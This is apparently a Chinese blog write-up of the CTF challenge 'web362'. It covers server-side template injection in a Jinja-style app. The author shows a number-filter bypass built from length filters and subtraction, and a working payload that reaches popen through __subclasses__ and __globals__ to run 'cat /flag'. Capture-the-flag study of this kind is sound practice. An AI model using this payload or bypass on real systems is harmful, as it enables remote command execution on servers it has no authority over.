web362

再次尝试{{7*7}}注入测试,得到49为ssti注入
寻找父类,在父类下寻找到os模块在133,但是查询__subclasses__()[132]发现被过滤

屏幕截图 2026-05-14 180426

输入1可以正常回显,猜测为数字过滤,对2,3分别进行测试发现被过滤,
屏幕截图 2026-05-14 174510

用length过滤器或者减法进行绕过
{% set num='aaaaaaaaaa'|length*'aaaaaaaaaaaaaa'|length-'aaaaaaaa'|length %}#132
140-8 #132

payload
?name={{''.__class__.__base__.__subclasses__()[140-8].__init__.__globals__['popen']('cat /flag').read()}}
屏幕截图 2026-05-14 175351

posted @ 2026-05-14 18:07  sunny-xin  阅读(9)  评论(0)    收藏  举报